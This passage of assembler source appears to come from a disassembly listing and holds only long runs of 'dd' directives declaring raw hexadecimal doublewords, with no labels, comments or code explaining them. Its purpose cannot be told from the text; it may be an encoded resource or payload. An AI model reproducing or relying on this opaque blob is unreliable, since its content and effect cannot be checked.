0A45EF207h dd 0CE74EABh, 0FD9C61B1h, 0AF853024h, 8869040h, 0E4B94E19h dd 389100B6h, 0C7680407h, 0A7D4D918h, 186CE410h, 32B2B368h dd 90206B3Eh, 891054ACh, 6EBCAB50h, 48233C88h, 0F2304478h dd 81F80D41h, 0F30C6BE0h, 0B1858737h, 0FF9D0910h, 10AE326Fh dd 17080C75h, 8903312h, 0C14AC7C4h, 32886D28h, 0FE044214h dd 0BDD1AAB0h, 294B658h, 0EE94B7B9h, 0A9C06B1Ch, 0D9E1F6E2h dd 106286F1h, 312A3774h, 6A93C341h, 32AB191Dh, 78051512h dd 0C007343h, 0C33E26FDh, 0F0E901AEh, 1D11CDEDh, 0F468F02Eh dd 48A06E79h, 7379D5B3h, 403A11C0h, 99AAC8h, 8ADDFEA1h dd 3518E902h, 0AC989A00h, 11FC0C79h, 0B8096E58h, 9B115094h dd 0EA206008h, 623D21Ch, 7813C441h, 87C29E8h, 2B2FE200h dd 30F6CF91h, 0C1340CBDh, 5210B10Dh, 40A3381Fh, 0F24B82CFh dd 0FF9ED800h, 270390Ah, 107A0F44h, 58EC0DF0h, 2D64F91Ch dd 3A212800h, 2A08A75h, 8BF117C1h, 40C19BE9h, 0B887DA69h dd 0C89CB541h, 0AD02FD48h, 4A461AEEh, 0AA15E15Dh, 0DF18C50h dd 0EDC100CAh, 0D68A8126h, 58013855h, 45F0E6A0h, 9434B351h dd 85F5005Bh, 0ACB9C914h, 6600D59Bh, 0D98401Ah, 0E9394Ch dd 0CB67E7Fh, 85DA4245h, 3D370407h, 0D630283Fh, 60932C07h dd 0E918791Ch, 32012F6Ah, 395735EBh, 0BD13043h, 0E1DD2183h dd 0D199696Ah, 0DE81ECD8h, 21E4D1Fh, 0DC40A4A6h, 0F69C25F0h dd 69B500CBh, 0D3CDFB3Eh, 0D90084ECh, 0DA13EDB4h, 28C4198Ah dd 0A8CA4F1h, 577281D8h, 70CE80D4h, 0D982668Fh, 4D16A498h dd 0D80FF6C6h, 0B7F99837h, 971CB981h, 0A6DC0BD9h, 8861B884h dd 0DF004D78h, 0CCF222C3h, 66E814D2h, 217108DCh, 0C3E71F00h dd 424B28B9h, 56250062h, 369114F2h, 699023B2h, 6BF3101Fh dd 59156E8Ch, 0E8310E39h, 7CCE98EAh, 7D1690C3h, 910062D3h dd 1FF7A9C7h, 6AC6BCh, 0FAF8197Fh, 0B812F0E8h, 0DA48837Ch dd 3B781184h, 7B0FDD00h, 9EBA2131h, 0AC17CE00h, 1163BD16h dd 8182044Fh, 8828D5A8h, 0DF311BA0h, 90B408FEh, 23068850h dd 4018DE43h, 34C97C56h, 8229C374h, 0F8A0B418h, 0FD012046h dd 0CB32436Ah, 88240C34h, 6A1DF579h, 8B5D22CAh, 0D7AE27C2h dd 14804EF4h, 4483B30Ah, 0B195F00Ch, 0AAF42641h, 0E253F90Eh dd 57DA2F21h, 0EA7F7420h, 5C880064h, 5DD29D4h, 0E40AF58Ch dd 0E80A114Dh, 49B3930Dh, 0F86F0EF8h, 574C0E12h, 0ADC00223h dd 937527D8h, 0D5611390h, 6886B3E0h, 0AA78619Fh, 1C57F8B0h dd 401F0D11h, 4371C0A6h, 0F800F428h, 78ABC52Fh, 25FB8656h dd 1898D938h, 389151FDh, 8009770Fh, 3D460C15h, 2DEF0263h dd 2499F4A9h, 36F5CC91h, 8AD8416Ch, 0D8432208h, 92F0D940h dd 983E7E98h, 0D26C0054h, 1A680712h, 7F887279h, 0C574001Fh dd 2F29A7F3h, 7C015AD2h, 88C47048h, 482C7AF7h, 0E1B8247Fh dd 0C3E6C078h, 0D421F5FFh, 79E991A3h, 74C3CE0Fh, 5D0B600Ch dd 4D12FF0Ah, 90126895h, 6E7803E3h, 0C928B9DEh, 2348C4ADh dd 3BB31088h, 42C06988h, 2198FBE8h, 51917D1Eh, 0F7FAD000h dd 4FB27A82h, 0FFBC9150h, 0E4B89078h, 73B569C0h, 0EA11F9DAh dd 8218005Dh, 6C54D159h, 0A0C22FDh, 702BCD51h, 0CC3B00E6h dd 2F5CFCECh, 0BECE5E3h, 0FAE676EAh, 4439B326h, 5F7843h dd 0E3AEA3F9h, 0E4A19B87h, 0E5087500h, 8DD8CC54h, 4448B0E8h dd 5D70D21Ch, 0C3EB209h, 0C8401878h, 0F030009h, 9E6F20B6h dd 5700EDE5h, 9589CD33h, 606D4596h, 9DFC7964h, 0C8797168h dd 89055B00h, 30976AEEh, 65F91442h, 5960B9F4h, 7602FE39h dd 6BFBAC00h, 0FC72109Ch, 0F8D63980h, 5E504A03h, 7A20A26h dd 900070C4h, 3B1BDE94h, 224F5B59h, 0EA006CC8h, 327B6F86h dd 316E05BBh, 0CE3920D8h, 0B3A7D0ECh, 0A4FA8738h, 170170AFh dd 9268532h, 50C3038h, 0CE581F16h, 5515CF08h, 68FA0CB9h dd 0B1444238h, 4A3958E7h, 3EF4C21Eh, 4A54438Ch, 0EF121E49h dd 0C800AC91h, 8588BE6h, 18A468h, 5A33FDCh, 2B9B9EB2h dd 0C500E094h, 8C85DE27h, 710A00E5h, 992E162Ch, 20047EFh dd 355F37ABh, 906B1B5Dh, 21920044h, 51B093B5h, 88E22EF9h dd 0EF8FC200h, 2F0609EDh, 0EAB9C459h, 0C6A0416Eh, 9C52CB37h dd 0B092206Bh, 8F61C7CFh, 0BD96DF1h, 0C6F6108Eh, 0B841031Eh dd 310070E9h, 0B265380Dh, 9E560FAh, 6F4EF5C8h, 0C15E3C10h dd 8343821Ch, 748AED47h, 0C5F0B2C7h, 72E40871h, 0C090DDh dd 9720315Bh, 27393ABh, 121C1E4Ch, 0AC40060Ch, 78835BF9h dd 5AED0E0Ah, 0FA0D043h, 7049196Ah, 0F5178103h, 98C8864Ch dd 30F33761h, 1FC1B292h, 79604E96h, 1CEF5820h, 0A4C0128Dh dd 0AA2000ADh, 722E7803h, 0D848D207h, 39B31B6h, 0F04D39D4h dd 441870h, 96835823h, 86B77F95h, 6FCC5200h, 0F6EAE6CBh dd 0EB5E0257h, 8B9D12BFh, 8287C8C0h, 18F5ED88h, 113F791Fh dd 0FE093DCDh, 8F0DC6A6h, 0AF84FD46h, 7DC0BB0Ah, 0C0B592DFh dd 0E9DE51B9h, 41F60F8Fh, 0EF866F03h, 0AC524872h, 0EE78E0h dd 0E1F3A97Dh, 66A77A24h dd 6116B500h, 0E59890EBh, 0B02600F9h, 0F7D301B2h, 0BE0174F0h dd 0B3EDD221h, 1BD1D1D9h, 0FE0A2183h, 0CBA8B1F0h, 881F032Bh dd 33002790h, 8AB368B0h, 0BC7500D7h, 0AD1ECAE3h, 2A00C56Ch dd 0C9AFA299h, 3027A4h, 2F704A5Eh, 0B194088Fh, 3DCF1607h dd 7E30D3B0h, 8EBE7D0h, 0E9972F75h, 8861B218h, 0F343731Fh dd 69D21183h, 0AEF1127Ch, 0ABE470C1h, 21D908CCh, 60D10072h dd 2D63FDC7h, 2B0FA970h, 0E3F70BCBh, 0BF9398h, 77AF6690h dd 0EC16133Dh, 0A1E83260h, 1988348h, 0B165E99Ah, 0D1CCE0A0h dd 0B2A880B5h, 478330AEh, 9AA500C2h, 0DD579BB9h, 0C0314F1h dd 27A30D4Ah, 0DFC5D131h, 9F973040h, 101B6F6Ah, 65D7D40h dd 0DE000360h, 1A7227F1h, 9262EBh, 0D37F6E19h, 0F78620F9h dd 0CCDBC800h, 2310F7Dh, 0D2BBA0BCh, 0D1620046h, 6F2F20F6h dd 2400617Ch, 0BE119367h, 0E3C217h, 0FFB1DFF0h, 52B93619h dd 8D1D2975h, 0B080CF0Ah, 89F1D3E0h, 0D7A900A2h, 2630C48Ch dd 370073FDh, 0AE34C58Fh, 618631h, 4CCF02AFh, 469618DAh dd 0B34983FDh, 9804CC31h, 0FE9EAB55h, 0D408CEBDh, 29EE20B8h dd 2627CC00h, 3B87F6F7h, 618307F8h, 20F14DF3h, 7A45E30Eh dd 0FD436F2Eh, 686D0C0Ch, 8F3600ECh, 906C150Ah, 0A60AB6DDh dd 0A16E83BAh, 7E664300h, 90930A8Ch, 419D007Eh, 0AE3080A3h dd 0F8E4F0D8h, 0D58C5101h, 3667EC97h, 94E43088h, 38E08D00h dd 3F6E24Bh, 0B1A9F33Ah, 78006B07h, 0CD49D1F7h, 0ABA9F29h dd 0B5EB5F7Dh, 8EAB0084h, 0D69B3F97h, 0CE6210C0h, 0ACC640h dd 0BFE28F57h, 66A93815h, 743A75F8h, 8C178032h, 6FF2F1ABh dd 0FD58003Eh, 9F28648Dh, 0CA001B23h, 2E8BC238h, 63E87981h dd 76ECB4B2h, 0E8604991h, 0EB00159Fh, 2D10748Fh, 988DB2h dd 0E14EC1C8h, 2C4BC090h, 0A489860Eh, 0BDA180D2h, 0ACC30Ah dd 0DC8E3823h, 96DA8594h, 0C1CEEC00h, 3AAA2E03h, 53CA00B7h dd 0AB053919h, 23FA8B07h, 0B040501Dh, 0B3724A00h, 75F68548h dd 0EE1103C4h, 0E456C3C0h, 0CB0975D0h, 70049F2h, 0EDAA5B50h dd 3FBE78Ch, 322212C4h, 6E04F7Ch, 2101CF7Ah, 180B438Fh dd 96405759h, 74506E58h, 0D9CD1891h, 257B115Bh, 4D5ED000h dd 4E439B92h, 2A08C6AAh, 0B2002059h, 1590D05Dh, 4C123806h dd 4606CEF3h, 880BF83Dh, 7972F0EFh, 80DF7BE0h, 1B458EC0h dd 0F53968Ch, 83896812h, 722A6B43h, 6050200Ah, 2F00DA1Bh dd 0AB25F585h, 0DFA93F9Dh, 0A4F7C594h, 1A987A00h, 0CB702CC6h dd 99B84362h, 0D0C81BD7h, 0B2464D4Ah, 0E216830h, 6A00D088h dd 422BC09Fh, 3D7EDF6Bh, 32034D49h, 0EF22CE58h, 0F06E9100h dd 7ACD1755h, 1B4A07E2h, 434CAED0h, 2000411Ch, 1217ACB2h dd 1FF13DA9h, 0C00FEC42h, 0F4C5DB7Eh, 85061E8Ah, 32C625E8h dd 9A4029B1h, 6ACE0188h, 70FEC8A5h, 700ADD1h, 188090F4h dd 289D6768h, 0F0E731h, 0F5D53557h, 792DC32Eh, 560FBA0Fh dd 518740D7h, 74F155Ah, 40FB5FE2h, 41FD6025h, 21603C5Bh dd 0FC2A2EE1h, 3680A06Ah, 0E3C130EBh, 849E2558h, 4197B000h dd 49730770h, 4EC300DBh, 6E759B1Bh, 88146DF4h, 0E1202960h dd 4219C5B9h, 244CCB28h, 48D08F04h, 662224Dh, 0D0868420h dd 11191C79h, 0DFA0C180h, 9C1CD717h, 1C58F21h, 80EBBA6Fh dd 2E97BCB6h, 2654840Eh, 6D16A607h, 385B0028h, 0E1411068h dd 6F0EE562h, 89E652D9h, 9E8C201Dh, 421061h, 7678740Eh dd 0D1D6EE7Bh, 31182900h, 0B9C773BBh, 0D0F252B7h, 797E2860h dd 892A9E1Ah, 0F522E053h, 0A02C007Dh, 4E446E72h, 0DB00C5E9h dd 0EE861860h, 3F64CACh, 3581991h, 0FF8517Eh, 0C80512E5h dd 0A4C64818h, 1C319040h, 79F275h, 814EB5B7h, 1809FD46h dd 42072714h, 10CC8070h, 4382E155h, 5122E3h, 9610E5B2h dd 0C821422Dh, 71C6DC15h, 0CE2609C4h, 536C3088h, 7ADF0817h dd 16624CB2h, 6A900040h, 40BFD17h, 81D875B9h, 14F69147h dd 0E5012180h, 42723231h, 0FB6DFA28h, 30989B3Ch, 67BDDCE2h dd 541090F7h, 60169C71h, 4C6FC95Eh, 900D077h, 0F305E34Eh dd 3A5225FDh, 0CE141587h, 4180548Eh, 0C27A6917h, 0C0A48Ch dd 0FE17545Eh, 356C48BDh, 2CF30D0Fh, 0C04EC1DEh, 7CD87D34h dd 0A4605607h, 5310E603h, 32AC52E1h, 9798201Ch, 72189A32h dd 0D9F10296h, 0E6D8A844h, 0FB3800C6h, 0F5C8DBA9h, 0E100CBFAh dd 0A41A4A3Dh, 63ECCC0Fh, 0F5F6C12Fh, 0C1004177h, 68ED9532h dd 157D2F14h, 0F8E70226h, 40A1B18Dh, 0E4DDF23Ch, 3B7D3200h dd 52CDC978h, 8EB50AF5h, 91945CF4h, 17528089h, 219A7A62h dd 1111237h, 0F64B126h, 0B855D326h, 0F23C5180h, 94A97E84h dd 98401941h, 48DAE152h, 99B038E5h, 461E32FEh, 6C8E7431h dd 4F3C81EEh, 845298AFh, 0BE5727D7h, 485026B0h, 315DD600h dd 2C0CBE63h, 11147580h, 0B6079254h, 1C7B9625h, 41BB0014h dd 21C3BF1Bh, 0BEEE8B96h, 0CE750906h, 69C2D9h, 6D3BF5BAh dd 0CA322A7Dh, 87902258h, 0C5E01EFCh, 1F13EEh, 0B676218Ah dd 8B3AC225h, 690473Fh, 10B0A569h, 0F92C3B91h, 0C356A700h dd 6570E977h, 0A028F3Fh, 0C487CE55h, 741761CEh, 58266A7Ah dd 8F000222h, 0CD52176Bh, 1DBCAB54h, 1497C83Dh, 7D80907Ah dd 313656AAh, 7D98D0BFh, 4E250959h, 0A400D42Ch, 386A8333h dd 96FD4C38h, 6960h, 0F2168CE6h, 0BE7F4Dh, 21DBB77Eh, 0EB99381Bh dd 3036253Eh, 0F3DA40D8h, 6BDE1D0Fh, 0DB8CC072h, 924E7DFFh dd 79772EF4h, 0F1E78B00h, 4769D788h, 849A52B7h, 43612300h dd 4DC8A2Dh, 0BECFFB12h, 7239ED02h, 47E0B06Bh, 0AA96E61Bh dd 0A6E011DCh, 0E0AE2194h, 49794701h, 706D65C0h, 0BA44AB4Ch dd 48CC2CEDh, 8913E044h, 8E3A7860h, 4843B0B1h, 45C891h dd 0DA41FCA8h, 5E2AB663h, 0DF077207h, 381B9053h, 295F9F88h dd 0C220B06Bh, 0F6303451h, 9EECA9CBh, 0C8012DDh, 0AFC6BD89h dd 0FB019369h, 2EF48C7Ah, 0E050B0DAh, 611725h, 0F11122C7h dd 2414E71Ch, 8455323Bh, 7E8A0189h, 0DF7D4480h, 0F229194Bh dd 0D540104Fh, 60905316h, 1C1EAD8h, 76BD9400h, 6BAA26Ch dd 30CB301Eh, 0FB735B69h, 510031DEh, 1018D947h, 5E78077Bh dd 618017C4h, 0F192B62Eh, 0EE6A20B7h, 8789DCC0h, 0D7FD73h dd 0F830A1CFh, 0FEC52346h, 7F0B6606h, 1591401h, 249C5679h dd 7037C69Eh, 0D8187758h, 0C0304CF5h, 8AFA0F7Fh, 1D2B57E3h dd 0EA8D827h, 0A18840B2h, 0AD11A6A2h, 184BF103h, 0B0681465h dd 8493D0h, 5D4A57F2h, 4061D4D9h, 21A7EA12h, 12667A00h dd 65FD7208h, 0C8D8E1E3h, 0FC01D408h, 0FB70F2D1h, 8EF43D57h dd 29E160F6h, 3094548Ah, 9CC77100h, 0BB99B268h, 0FF0C1D2Dh dd 87679DD8h, 517B6C5Bh, 0FCF66912h, 200F52Eh, 0D65165B9h dd 0E55B77h, 0E80A4A53h, 55EC074Ch, 0B654D000h, 0C290BC38h dd 3A0E0046h, 53054934h, 20E848EFh, 85D1AA0Fh, 27C500C9h dd 3CAFFEB2h, 0CD3C5589h, 10CE5903h, 0EC800561h, 95EA0777h dd 77E108DDh, 3407A50h, 2F6F5421h, 7FE0EE08h, 197DD7F9h dd 0BB00B679h, 0D87407C6h, 756FE02h, 0E849556Fh, 0EB04A395h dd 50C42911h, 0F11F2072h, 7D11B142h, 28C028F2h, 0F9160D10h dd 114EED11h, 9C28E0CAh, 11F84214h, 0AF114F09h, 8D821F4h dd 45880587h, 0F55B88D2h, 39509494h, 6129E4B7h, 12C9D521h dd 0F0C11090h dd 82DD02E3h, 2662AF50h, 880E29ACh, 26C71h, 8D10EBF2h dd 4D650074h, 1DF009A5h, 87058F58h, 6C616F4h, 0BFD5A100h dd 1458D77h, 0DE0AA834h, 0C8882FA1h, 7B009A5Fh, 51207FADh dd 0FFD83Ah, 0C8087AA5h, 1D849C91h, 0E8FAA800h, 0F3C059A1h dd 0D60900E7h, 8D94064Fh, 4600479Eh, 0EC8049CAh, 5C6DCEh dd 0EF6897C5h, 63161408h, 0DC1EB13Eh, 37C8003Dh, 0D6928044h dd 0E824014Dh, 0CBF6A0Fh, 0F00C2179h, 0BC003DF2h, 67FCC296h dd 2B68FEh, 0F7DA0CCDh, 1B59C357h, 17F82E00h, 28C4B5FBh dd 2C3AD469h, 74D83100h, 849072FEh, 0ACB96A00h, 959E8AB0h dd 0CAF800CDh, 9B44B871h, 9C180426h, 58D885DCh, 1D8C0041h dd 2BA5707Eh, 0E9005C46h, 912912ADh, 0ECEEFEh, 0D3EB4ED6h dd 687EB76Ch, 0AA004BE2h, 0BB127993h, 0C25613h, 0C59F4CD2h dd 9A3FC8BFh, 3B150D00h, 0FEEC7DE3h, 376807DFh, 101D22DCh dd 1AC4EE5Ah, 1807C0FEh, 1C7E39A1h, 3A706210h, 218D1E57h dd 8704C00Ch, 23E3B4F6h, 4554B31Ch, 0AB80F29Eh, 0DCCE41F9h dd 2E380071h, 86225E52h, 13DCCC2h, 95AB004Eh, 62BC4932h dd 55261C7Ah, 0C0A49DBEh, 0FED87C73h, 0BA002A37h, 77ED49DBh dd 3D67D88h, 0B82FCBF0h, 0D3F8098Ah, 8F006E17h, 0CAB9FBFh dd 0B0CE2Bh, 84F4CB3h, 0DF026978h, 944DA200h, 46FC2263h dd 0F0351CFBh, 0F4F6C3C5h, 1BD0CA56h, 0D8004551h, 630A2E8Dh dd 0C6AB0Dh, 0C340C4B0h, 0DC859D8Fh, 0E82CEC00h, 0E2A93562h dd 446004Ah, 183A6DF0h, 0DF3A2FBAh, 80A100EEh, 0B095938h dd 0C2DA0394h, 0D65D329Ch, 6FC322F0h, 5B6D161Dh, 4C694000h dd 82CCE1h, 1B0DF7FFh, 7124D72Fh, 0AA904724h, 2A72AE00h dd 58F373h, 6E2D0F55h, 455795EFh, 3BD813Eh, 1FA2680Ah dd 3185E87Bh, 6DF60E1Bh, 0BDA03CFFh, 3962BB3Ah, 736C3F03h dd 0A0DC30E9h, 13CB0E19h, 92F708Dh, 5780B02Fh, 83EC77A3h dd 0D5FC5A09h, 0A9040127h, 6C20A85Dh, 0A5FD0EE4h, 0C2C908FFh dd 0E9C19400h, 2958585Eh, 57D204FBh, 885F803h, 7A103440h dd 16B0E4h, 25CD1EC9h, 0EAE05E91h, 318F8914h, 7A9500CCh dd 8CC9BD78h, 6B4A09Ch, 0B43400E1h, 7C47CFFFh, 5770FCCDh dd 0DC6BF60Fh, 5BBF00C6h, 0FA4E9724h, 7A06FEBCh, 3149044Ch dd 0C0B8D374h, 7988B1D8h, 0AF3D5E0Eh, 0D0E442DDh, 0A50860B2h dd 1325002Ch, 0C3484578h, 853E7FC5h, 0BD0CBD9Ah, 0EC2389E3h dd 0B7108064h, 161651Dh, 7F15EEF2h, 0E49A66DAh, 900559Eh dd 18A672D1h, 488FB4Fh, 2AE9483Bh, 53E08040h, 3C02D892h dd 0DC90A10Fh, 71C880F4h, 6A56EFh, 3BFF0698h, 0D3502BB0h dd 8A7DF700h, 0F8BCA74Bh, 3BD6772Dh, 61934515h, 6C2F0708h dd 0B6E29081h, 0D300229Bh, 84181EE1h, 74B5351Ah, 19300BBh dd 21BDC8F2h, 1C07BEF0h, 5B0E8E1Eh, 60E2A531h, 1C6CA0E8h dd 0C0C2117Dh, 66EC43ACh, 0DC000987h, 0D0AA3B6Ah, 0CA3F5Ah dd 98A28C83h, 10AF7DCCh, 0A12BE009h, 0F1240065h, 3E2CA052h dd 0A8FA243h, 3AE0C557h, 0DA6F40A8h, 272D5E00h, 0C960F411h dd 20AA000Dh, 9BB79438h, 0D63A9A3Dh, 0C1618029h, 77A3EE4h dd 0D788A060h, 866339D9h, 3B978400h, 0B6F166E5h, 37B01400h dd 3D08E833h, 56B500DEh, 82DF574Dh, 0B4008EFCh, 0D73AD605h dd 1F6AEE9h, 0ACE4D844h, 0DC925124h, 0C475AA8Bh, 0B00CD79h dd 0F9C6601Fh, 94DD22h, 0C7446477h, 0A227D49Ch, 0D4EA4028h dd 0D7635E01h, 745AC433h, 8929E0h, 3930190Ah, 88D42C86h dd 0AE932B00h, 98F25E0Fh, 3BBC00EBh, 7A3CC869h, 0FC00E1DEh dd 19180B01h, 43135Bh, 0C33A647Eh, 92CBF29Ah, 0DB716103h dd 0D87DDAB5h, 7FB3673Ch, 981FE2F9h, 9ED80005h, 5B76DF51h dd 4800EBE9h, 26EABC88h, 9F7A13h, 8DEDC9BAh, 0A1FE17C4h dd 1110BB60h, 65EECEh, 603AEC0Fh, 0B7EBB2E0h, 1CA83809h dd 61390284h, 809E4031h, 39D36781h, 1F5C7072h, 97008251h dd 0C44855E2h, 660C49h, 0FDB18514h, 1A906983h, 65165A76h dd 6C0072DFh, 73B5FEC4h, 28800F5Bh, 3E00EEF7h, 9AEBCCABh dd 430B211Fh, 4DD4AF41h, 0FDF03B2Ch, 9CC0005Ch, 7C0FB626h dd 0A2739BE6h, 33CBB805h, 32C0C231h, 4C6712CAh, 6400CC83h dd 3EC37B81h, 5A050A19h, 2A25FBF7h, 0D513E481h, 0EA4060h dd 0C2913186h, 554A2D2Ch, 9A75DE04h, 7CC73EF1h, 0D0405D0h dd 0E33407E7h, 0E0320FF7h, 403DB8E8h, 0BFB39500h, 0A988185h dd 61E31DC7h, 6D1300C0h, 2A02A08Fh, 0D3E09C26h, 0FDD3B700h dd 24EE4ADh, 0EDEAAB3Fh, 80C027F4h, 0EC00DFC4h, 0E71F5A0Ch dd 700E577Dh, 62010071h, 788CA8B9h, 0C0008AADh, 0C8447702h dd 0A02D12FCh, 0FCC8BEDh, 0CFF3571Ch, 0C0FE654Fh, 0F358707h dd 0BB0013A3h, 0C79BB3EAh, 77D4C242h, 92F406A6h, 86302D50h dd 64C14300h, 0D371A429h, 0FD0F0049h, 211DD447h, 0E700B47Dh dd 993B5C9Ah, 0F0F902h, 0A6F1BEEEh, 0AA51AFCEh, 8DA52601h dd 0ADCF0BC3h, 5C5B63F4h, 0BE0330E5h, 222A9F57h, 48AA3801h dd 0C954D0F6h, 5F6BE4h, 9FC5C66Dh, 5D372B7Fh, 492C4800h dd 1320AD5Eh, 3AB20077h, 0C91562E2h, 0BC0069E3h, 95CD19B0h dd 0C75912h, 9B3FA7C5h, 20FB5B27h, 0AFF28109h, 79044877h dd 9EC800FDh, 182C9150h, 0DE00C172h, 4522D190h, 2EB4A2ECh dd 0F541F2h, 3CE9AF31h, 5D01E760h, 0BD8FF3D9h, 58215FBAh dd 0DA302231h, 48786Ah, 0F69DDD90h, 7252F784h, 0AB8C3B00h dd 6F5FAA4Ch, 0BB2D0EA3h, 0C1A094F5h, 4657095Eh, 0CA93DE00h dd 0CE78F0EBh, 589A49FDh, 87BFAA05h, 0A324CC5Ah, 5643A00h dd 0BD119024h, 1BAFEC2h, 2A311268h, 20EEADAAh, 5D03671Eh dd 6987D786h, 9AC5A1C7h, 21A570h, 0B10C84CDh, 95023D5Ah dd 0A47F7709h, 6F86807Ah, 0E440FEh, 84428349h, 0D87B9C3Ch dd 0DF9A4F00h, 48AED00Fh, 71B02CAh, 0D36C479Eh, 303BDCC1h dd 0D900A00Ch, 0D58E3F02h, 0C50B19h, 5C345E36h, 20722DF6h dd 59C42E00h, 0AB27B10h, 0C58C0530h, 0C045C828h, 813E07C8h dd 6BD54E1Ch, 0A70619C7h, 10F691F0h, 23907Eh, 0CA4A82BEh dd 0A63ACFF2h, 2F50E026h, 26037C00h, 8F709Bh, 8A784438h dd 63ACC5DFh, 0C26A3201h, 0F5F2E4DBh, 7E696E60h, 2D580015h dd 92E8C889h, 2C9EF9C0h, 0E02C870Eh, 0B648FDF5h, 6B360BFAh dd 810DD80h, 839B851h, 0C41B8063h, 7C171FDCh, 0B73F0183h dd 0E64FD006h, 7424F09Ch, 26D1DD00h, 9517F0E3h, 10EA6707h dd 487FA0A8h, 0D900EBD4h, 0D63545E1h, 7A9A588h, 63064A70h dd 0ACEF602Bh, 0C21EB3BEh, 0E8C0E578h, 1FA0CEEEh, 6F31007Ch dd 55B8D721h, 11B915Dh, 88C09686h, 105EAD6h, 70F72F6Bh dd 3083A680h, 0A400F6D8h, 30436F3Ah, 844BFFh, 4807C823h dd 0DF855178h, 1E0085B8h, 6F477F39h, 0A8490Fh, 1CC5DB89h dd 9F10F7A9h, 8CCBCC02h, 68BECAF6h, 920F30h, 0A1E8861Eh dd 256140EEh, 0F55FF016h, 32007C1Ch, 0E51E4DEAh, 0FBB20922h dd 0B86083E0h, 0F03253Dh, 4C213516h, 7D7298A2h, 905C4860h dd 40FFDD00h, 640AE901h, 0E1EC0D00h, 5ABC3E09h, 0F3740070h dd 0B1C1BB2Eh, 0A95C33DAh, 0CDC9007Ch, 693F48B4h, 5DB500A3h dd 0DF1D7AFh, 9302E5BBh, 44353114h, 648C608Eh, 0E6FA0030h dd 98A41037h, 9248A81Ah, 0F3590944h, 0C34E87E1h, 65DCB260h dd 33CE47Ah, 0A512183Ah dd 0C6D1EF7Bh, 76C4740Eh, 0FFD99802h, 8248ECC5h, 63535898h dd 0A51F18Ch, 0EF230300h, 1C463502h, 0E8FEA360h, 30E079D8h dd 8EF0D589h, 0CD04F5B1h, 0B31E8CB5h, 5293C6C0h, 3568009Bh dd 23E7D209h, 391C43E6h, 0C4C0B262h, 0C195EF51h, 0EE2800F8h dd 704D7344h, 620049F3h, 1D06AE9Ch, 0D621F5h, 0EAC2E7DCh dd 2E6935AFh, 0A5C3A43Eh, 0FF18016Ah, 0C2EC273Eh, 0F1AB0191h dd 66DA24A5h, 2BDAC3AAh, 7A045051h, 2CE0CA86h, 0ACA258FAh dd 536A9005h, 0D6BC0072h, 360506BDh, 0B25B600h, 0EE7E3E3Ch dd 44DD3D18h, 1D2BA71Ch, 239F82F1h, 0F44010D4h, 0F72474Eh dd 0A977D1C0h, 32C53CBh, 411E1B4Ah, 1805F18Dh, 0E77DCAA7h dd 0FC9BC00h, 3F4D342h, 91759926h, 23E3B937h, 0C48743DAh dd 5BA70F5h, 0C6188557h, 0AC9C0B63h, 0CC4A58B8h, 101FF800h dd 0B05658DCh, 582CE9h, 88CE21F7h, 0F97755ADh, 62589840h dd 8A02023Eh, 917C0CF6h, 0F8EC3440h, 1F018CFEh, 9BF57B2Ah dd 0D040B745h, 20918A5Ah, 51007A38h, 0DD9982E4h, 0CFBC8Fh dd 0AD924B85h, 0C4F79A3Ch, 23D2B400h, 0D8EE645Ch, 54A0C3E4h dd 83C886F3h, 844C0FE7h, 8EBC0025h, 305F1240h, 0BAD0A022h dd 2BD71CC2h, 872F00C0h, 531609F4h, 3150427h, 0A84156E8h dd 0E9EEEDh, 45CEF0B9h, 0FFC2DDDh, 8F0206FAh, 0AFEFF136h dd 0CCCC82C1h, 0E2507823h, 0A0F6F4B3h, 3E1758D0h, 0D700C6DEh dd 873CD0B5h, 4548FD8Bh, 7E650004h, 5C996AD9h, 31A4B82Ch dd 0B910D8F1h, 29A420A3h, 0EAA65B00h, 9769407Fh, 61AA0419h dd 0F444601Fh, 65006E20h, 0AF8E6CC5h, 1FE4557Fh, 80AA5FD4h dd 0EACB3F41h, 0E80AEC60h, 0AC6559C9h, 0FA20ED00h, 2C0AFF24h dd 0D4AECFh, 6916B11Bh, 940053ABh, 1CD32AE4h, 6092E65Bh dd 80AC20F6h, 8B248861h, 0ED8064C9h, 5E684E76h, 0AB041CBAh dd 6499C033h, 0CCD1124Ah, 53DFD607h, 0B5101AA0h, 58192A35h dd 809FB40Ah, 40207C9h, 5C261D5Eh, 50002EE9h, 255A7EF5h dd 0E5630031h, 0F1FF7965h, 0C5501116h, 7100B5B0h, 0E66FE1C6h dd 8119A1h, 0BA4A6097h, 0B5B8309Dh, 80CE7B3Dh, 1F9582BDh dd 2D16C1h, 20E10286h, 89BC2E6Eh, 0D4B8C600h, 50FFF61Bh dd 3EAFEA75h, 5681F219h, 0B91C73CBh, 3584306Ah, 6F62DF00h dd 38E20A47h, 4A4D0769h, 0D06CECA2h, 0E18BDEA4h, 210084BCh dd 6A5F1749h, 15CCB09Ah, 0B06FC7E2h, 7907A900h, 6DA5899Eh dd 0F9A72412h, 8A210440h, 782FB4h, 19B606E8h, 0F8D887C4h dd 722E6200h, 0CD181EFCh, 98CC041Bh, 8363FD7Bh, 0A6F89608h dd 9D7050F8h, 0CDA0A498h, 6260D93Dh, 0B5C3C820h, 0D0EED3h dd 31E3AB08h, 0ED1EB624h, 283FE505h, 24D0B17Ch, 0F54952h dd 6A766CC8h, 21F46923h, 83C69501h, 0A64765ABh, 0CB283C3Ch dd 0E9C000BCh, 4D9E36Fh, 0B82E85F5h, 13F4CA8h, 21F2869Bh dd 2EC811CAh, 7C9805C5h, 0C0A20D27h, 2299B8BCh, 0BD05800h dd 0B39E97B0h, 3DB40083h, 5F1A2DDCh, 9D00AB50h, 70194626h dd 0FAB09C09h, 0D7D83827h, 7A689800h, 0EB10CC6Ah, 0AEDF7700h dd 62727FB2h, 0F25F003Dh, 763F7E81h, 0EB0059D7h, 7CDD8DCDh dd 656AFCEh, 345BEA86h, 0D00FC2EDh, 607955BFh, 6813747h dd 8E9407ECh, 0A00A6DD2h, 0DE88D97Fh, 4F0EB00h, 3785F7CEh dd 67D8007Ch, 9A8B09F3h, 0A000300Fh, 4ED6ED49h, 0F410665h dd 0B59E5F47h, 0D291B0A0h, 0A9053481h, 0E7C7181Fh, 0EAE808D0h dd 4878170Dh, 0F1A02658h, 936B2409h, 0FF84C056h, 2FA907A7h dd 0A544D4DFh, 96D80089h, 0E9AF0FAh, 0FC00D690h, 364AA567h dd 3B48B9h, 0E01C170Fh, 0D62B5124h, 9755270Eh, 0C26F60FFh dd 0F681AFh, 0F2F52F1Bh, 0A25ACE7h, 0D2D49400h, 4A2D1455h dd 0FF470677h, 